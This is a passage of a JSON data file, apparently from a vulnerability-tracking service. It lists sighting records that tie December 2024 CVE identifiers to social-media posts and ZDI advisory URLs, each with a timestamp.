"2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12523", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113649662249604096", "content": "", "creation_timestamp": "2024-12-14T06:03:43.927850Z"}, {"uuid": "476e3cc6-fd79-413b-82cf-824e1bf63c0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12555", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113649662264031310", "content": "", "creation_timestamp": "2024-12-14T06:03:44.145163Z"}, {"uuid": "48a16987-9c3c-4509-851f-00bc67998b6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12578", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113649721265727065", "content": "", "creation_timestamp": "2024-12-14T06:18:44.452550Z"}, {"uuid": "56ba19e9-0657-4ca7-843b-7eaf74d6cf8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12446", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113649903596329602", "content": "", "creation_timestamp": "2024-12-14T07:05:07.392106Z"}, {"uuid": "58f3e522-c3a9-49a6-86cc-fccf249f4040", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12628", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113649903611070324", "content": "", "creation_timestamp": "2024-12-14T07:05:07.642788Z"}, {"uuid": "5d7315c3-c14b-47ba-8533-cad937341713", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-12632", "type": "seen", "source": "https://infosec.exchange/users/shadowserver/statuses/113656947909919073", "content": "", "creation_timestamp": "2024-12-15T12:56:36.055788Z"}, {"uuid": "a2b8ed4d-bdff-4374-8b06-cce97d2e840d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12644", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113661174616006257", "content": "", "creation_timestamp": "2024-12-16T06:51:29.214024Z"}, {"uuid": "e4095f14-6b75-4dda-a0a2-723c86bd2396", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12645", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113661174631706111", "content": "", "creation_timestamp": "2024-12-16T06:51:29.279144Z"}, {"uuid": "abd7145e-9330-482b-a8da-66a831ce8aa7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12646", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113661200226119510", "content": "", "creation_timestamp": "2024-12-16T06:57:59.408497Z"}, {"uuid": "162a6cfc-0646-4b3f-a0a2-71ad934f38fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12663", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113664073754598762", "content": "", "creation_timestamp": "2024-12-16T19:08:46.123576Z"}, {"uuid": "954b4188-712f-4dda-89e2-7323703a0adc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12687", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113664112454828460", "content": "", "creation_timestamp": "2024-12-16T19:18:36.449518Z"}, {"uuid": "5c7af6bd-7db6-45ce-ae06-c456f244e037", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12664", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113664164593104440", "content": "", "creation_timestamp": "2024-12-16T19:31:51.943615Z"}, {"uuid": "2005e558-acc6-4d03-8876-b9fd61a8b742", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12665", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113664164608055811", "content": "", "creation_timestamp": "2024-12-16T19:31:52.819380Z"}, {"uuid": "8fdf56b2-769b-40c5-823c-9da0985046fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12666", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113664290594036492", "content": "", "creation_timestamp": "2024-12-16T20:03:54.632284Z"}, {"uuid": "78d8f9a7-6dc0-4ef1-a221-62ce980894c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12667", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113664290608812481", "content": "", "creation_timestamp": "2024-12-16T20:03:54.865369Z"}, {"uuid": "afe56e3a-a9d6-4025-95b1-dfa27069215b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12239", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113665755575744452", "content": "", "creation_timestamp": "2024-12-17T02:16:28.510381Z"}, {"uuid": "39987bc3-52b4-4d22-ac3e-b7efdaf0d12b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113666290051812274", "content": "", "creation_timestamp": "2024-12-17T04:32:23.865200Z"}, {"uuid": "29288f59-049b-4886-b5c7-26a3c2cce5d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113674781797208347", "content": "", "creation_timestamp": "2024-12-18T16:31:59.907945Z"}, {"uuid": "c68e49a5-26c4-471a-9b8a-6e2d5018d271", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12700", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldoyudymcj23", "content": "", "creation_timestamp": "2024-12-19T23:15:27.849516Z"}, {"uuid": "8903ca3d-fb3c-47ec-87c4-1f22228c1718", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12727", "type": "seen", "source": "https://bsky.app/profile/volk149.bsky.social/post/3ldpqyjuqdc2u", "content": "", "creation_timestamp": "2024-12-20T06:27:22.478750Z"}, {"uuid": "5fa6230b-e276-443c-b8db-bc32f96e5058", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12729", "type": "seen", "source": "https://bsky.app/profile/volk149.bsky.social/post/3ldpqyjuqdc2u", "content": "", "creation_timestamp": "2024-12-20T06:27:22.582347Z"}, {"uuid": "0975da65-a559-46ea-bdfb-9c28cdae5762", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12835", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1723/", "content": "", "creation_timestamp": "2024-12-20T05:00:00.000000Z"}, {"uuid": "aaf1b252-5510-4d36-8ec2-945b500a59af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12843", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113687068606536471", "content": "", "creation_timestamp": "2024-12-20T20:36:39.422528Z"}, {"uuid": "d539ebad-25b8-4158-9073-0bd6cf161862", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12262", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113689636551845442", "content": "", "creation_timestamp": "2024-12-21T07:29:43.521499Z"}, {"uuid": "092bf12f-7e48-4923-ac3b-6eb7f15cef9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12635", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113689636570707300", "content": "", "creation_timestamp": "2024-12-21T07:29:45.799506Z"}, {"uuid": "65071096-580a-4233-af26-b3162f3835af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12875", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113690566969863839", "content": "", "creation_timestamp": "2024-12-21T11:26:20.406582Z"}, {"uuid": "ad625530-faf5-4ec5-8e26-c2a91ea6d9d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113680642347342261", "content": "", "creation_timestamp": "2024-12-19T17:22:24.433402Z"}, {"uuid": "1389a75c-a677-4069-90de-870b3987383a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12686", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113680642347342261", "content": "", "creation_timestamp": "2024-12-19T17:22:24.489583Z"}, {"uuid": "3106f746-fdf9-4fa3-8751-d96e9d20d865", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12728", "type": "seen", "source": "https://bsky.app/profile/volk149.bsky.social/post/3ldpqyjuqdc2u", "content": "", "creation_timestamp": "2024-12-20T06:27:22.535668Z"}, {"uuid": "8208fca2-f02f-4d3b-b86c-3bc1c3081a24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12727", "type": "seen", "source": "https://bsky.app/profile/bluecyber.bsky.social/post/3ldq5jvrhp22t", "content": "", "creation_timestamp": "2024-12-20T10:11:46.623970Z"}, {"uuid": "584bc242-013c-4a7f-ab13-a36bc7d5a6a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12727", "type": "seen", "source": "https://bsky.app/profile/xc0py.bsky.social/post/3ldr2obdoqk25", "content": "", "creation_timestamp": "2024-12-20T18:53:26.545883Z"}, {"uuid": "77e3d457-66eb-440c-aa86-35c704860ddd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12834", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1722/", "content": "", "creation_timestamp": "2024-12-20T05:00:00.000000Z"}, {"uuid": "ece8ef78-c8cb-4e8f-a9e4-4427e3c0520d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12844", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113687193668589108", "content": "", "creation_timestamp": "2024-12-20T21:08:27.904595Z"}, {"uuid": "2e7ab1e9-026a-4c7a-9ff9-b39519338380", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12694", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/113676331494635354", "content": "", "creation_timestamp": "2024-12-18T23:06:04.082440Z"}, {"uuid": "d53e1b0e-6bfb-45d1-b7f5-1db3af6ab4bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12782", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113679517721524504", "content": "", "creation_timestamp": "2024-12-19T12:36:22.208771Z"}, {"uuid": "afcbaa49-37a6-4880-b277-e2f16b863593", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12784", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldo2owrgul2v", "content": "", "creation_timestamp": "2024-12-19T14:15:33.858940Z"}, {"uuid": "c2e4a5ae-fd76-4560-8a6d-4cd62beb0877", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12727", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113681389646115127", "content": "", "creation_timestamp": "2024-12-19T20:32:25.579879Z"}, {"uuid": "1cdf83d2-2045-4372-ae54-dfe99b29e25b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12678", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldpcwibgf52z", "content": "", "creation_timestamp": "2024-12-20T02:15:37.647890Z"}, {"uuid": "873aae53-7623-4311-841d-1b23e75bff08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/bluecyber.bsky.social/post/3ldpmui2i3s2u", "content": "", "creation_timestamp": "2024-12-20T05:13:27.151421Z"}, {"uuid": "4d7ff2c9-879a-4564-8973-087680d5bcf4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12728", "type": "seen", "source": "https://bsky.app/profile/bluecyber.bsky.social/post/3ldq5jvrhp22t", "content": "", "creation_timestamp": "2024-12-20T10:11:46.672059Z"}, {"uuid": "df2f8e9f-1dac-45eb-8e79-ca8246bee2e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12371", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3ldqlb62lf62g", "content": "", "creation_timestamp": "2024-12-20T14:17:25.059878Z"}, {"uuid": "737453f8-9b3b-4400-9075-9179f87265b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12372", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3ldqlb62lf62g", "content": "", "creation_timestamp": "2024-12-20T14:17:25.108178Z"}, {"uuid": "cca022bc-4f33-41e6-afac-457d7f1ffc95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12373", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3ldqlb62lf62g", "content": "", "creation_timestamp": "2024-12-20T14:17:25.145606Z"}, {"uuid": "bc83f820-bb82-4087-8fe3-b3796038d7c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12692", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113676028499435854", "content": "", "creation_timestamp": "2024-12-18T21:49:00.864594Z"}, {"uuid": "6552e5fa-7e8a-47e5-9a6d-f07f4789b21f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12783", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113679517755737386", "content": "", "creation_timestamp": "2024-12-19T12:36:22.654053Z"}, {"uuid": "ca274af4-4715-4a2b-9a31-763ef5b5d64e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12791", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113680696928009298", "content": "", "creation_timestamp": "2024-12-19T17:36:15.871293Z"}, {"uuid": "dec8cd52-7ee7-4da0-b7ff-d96c9b7c7bfd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12792", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113680696964231045", "content": "", "creation_timestamp": "2024-12-19T17:36:16.008407Z"}, {"uuid": "faeb5cb2-c5c6-4d64-97b5-b9dc94e53478", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12694", "type": "seen", "source": "https://bsky.app/profile/cti-news.bsky.social/post/3ldoxoujerv2b", "content": "", "creation_timestamp": "2024-12-19T22:54:29.964583Z"}, {"uuid": "6b7932c3-a50e-44d8-b5d2-53e6baf9c187", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12741", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113675448862003579", "content": "", "creation_timestamp": "2024-12-18T19:21:36.241164Z"}, {"uuid": "8da026de-6493-4e74-b62a-79e7d7650c78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12693", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113676028514613991", "content": "", "creation_timestamp": "2024-12-18T21:49:01.169203Z"}, {"uuid": "c905d83a-8bd2-4a94-808b-e15869c30df8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12121", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113677125841932115", "content": "", "creation_timestamp": "2024-12-19T02:28:05.061224Z"}, {"uuid": "9e28a56f-1e2b-449b-af77-acb87efac49e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12695", "type": "seen", "source": "https://bsky.app/profile/cti-news.bsky.social/post/3ldoxoxkp252b", "content": "", "creation_timestamp": "2024-12-19T22:54:33.792123Z"}, {"uuid": "1eb8760a-5961-43f7-8377-0b3b4dcdaa5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/bluecyber.bsky.social/post/3ldpna7ekec2u", "content": "", "creation_timestamp": "2024-12-20T05:20:01.656310Z"}, {"uuid": "5785f7dd-7077-40de-9ab0-50978f5c18f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12728", "type": "seen", "source": "https://bsky.app/profile/bluecyber.bsky.social/post/3ldq5pz3vek2l", "content": "", "creation_timestamp": "2024-12-20T10:15:10.743933Z"}, {"uuid": "fe88edf4-e021-4fb1-b755-d127636dc7e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12840", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113685957532019218", "content": "", "creation_timestamp": "2024-12-20T15:54:05.866077Z"}, {"uuid": "3600006b-164f-4994-acab-f8c939735de2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12728", "type": "seen", "source": "https://bsky.app/profile/xc0py.bsky.social/post/3ldr2obdoqk25", "content": "", "creation_timestamp": "2024-12-20T18:53:26.601260Z"}, {"uuid": "ee5ec356-6002-4f37-8320-53db40b2a41e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12677", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1721/", "content": "", "creation_timestamp": "2024-12-20T05:00:00.000000Z"}, {"uuid": "2048690e-793e-4934-9023-7923cba10e57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12843", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldrcmlci7z2m", "content": "", "creation_timestamp": "2024-12-20T21:15:24.260504Z"}, {"uuid": "f8032456-4e80-4146-b781-6cde53fa5c2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12727", "type": "seen", "source": "https://bsky.app/profile/r-blueteamsec.bsky.social/post/3ldsbcjcoy72s", "content": "", "creation_timestamp": "2024-12-21T06:24:32.094071Z"}, {"uuid": "b4221bb3-72aa-4a2e-a12e-c6e5221f4790", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12728", "type": "seen", "source": "https://bsky.app/profile/r-blueteamsec.bsky.social/post/3ldsbcjcoy72s", "content": "", "creation_timestamp": "2024-12-21T06:24:32.126460Z"}, {"uuid": "9d9ea26a-c9c1-492f-a9c4-4da4e8afe213", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12408", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113690099399569893", "content": "", "creation_timestamp": "2024-12-21T09:27:25.967864Z"}, {"uuid": "040843e0-ad54-494c-bd54-766f1d02f2ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12875", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldsuwi5ii425", "content": "", "creation_timestamp": "2024-12-21T12:15:43.356868Z"}, {"uuid": "8fb0c881-02dd-45e7-88fb-046251ca83ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12891", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113695079190648858", "content": "", "creation_timestamp": "2024-12-22T06:33:51.338366Z"}, {"uuid": "f7a39aba-e6a9-4b8e-8dc3-37b875d3e2a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12694", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113676028529416984", "content": "", "creation_timestamp": "2024-12-18T21:49:01.487018Z"}, {"uuid": "102aa0a2-47fa-4dcf-ba77-9d7ba717e255", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12695", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/113676384453645263", "content": "", "creation_timestamp": "2024-12-18T23:19:32.301604Z"}, {"uuid": "47090411-a33e-42a0-a6df-d77164a87c87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12787", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldobfgszxk2x", "content": "", "creation_timestamp": "2024-12-19T16:15:31.368845Z"}, {"uuid": "191ab3ab-6a05-4396-97aa-7076f9eb168d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12728", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113681467208621916", "content": "", "creation_timestamp": "2024-12-19T20:52:09.043276Z"}, {"uuid": "edb6600b-388e-47ee-8ba0-e5e6c4525347", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12700", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113681954145772118", "content": "", "creation_timestamp": "2024-12-19T22:55:59.101353Z"}, {"uuid": "49e34e33-c47a-417d-8700-274d36b11ef2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12829", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113682309281147356", "content": "", "creation_timestamp": "2024-12-20T00:26:18.039602Z"}, {"uuid": "c93ab0bb-f89f-441f-98f8-ea6d368b9b1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12832", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113682309323361191", "content": "", "creation_timestamp": "2024-12-20T00:26:18.708178Z"}, {"uuid": "c9138e42-0823-4306-8ebf-a35f4395a97c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/kyosuke-tanaka.bsky.social/post/3ldpofs5zh224", "content": "", "creation_timestamp": "2024-12-20T05:41:01.914823Z"}, {"uuid": "2e2ac258-e333-4a8c-87a4-5d8955fd84c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12727", "type": "seen", "source": "https://bsky.app/profile/bluecyber.bsky.social/post/3ldq5syz3ac2l", "content": "", "creation_timestamp": "2024-12-20T10:16:51.492178Z"}, {"uuid": "c68f4d69-dd0a-4397-a601-8e9b770ada27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12727", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113685992465948642", "content": "", "creation_timestamp": "2024-12-20T16:02:59.032343Z"}, {"uuid": "12d4f14d-ae8c-4b49-af4d-bcd15f331c0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12728", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113685992465948642", "content": "", "creation_timestamp": "2024-12-20T16:02:59.062964Z"}, {"uuid": "5d032f96-3068-4138-a8a9-b2e0ef958c5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12729", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113685992465948642", "content": "", "creation_timestamp": "2024-12-20T16:02:59.088510Z"}, {"uuid": "168af6f9-3df4-4576-9382-53fb8a3a8a4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12729", "type": "seen", "source": "https://bsky.app/profile/xc0py.bsky.social/post/3ldr2obdoqk25", "content": "", 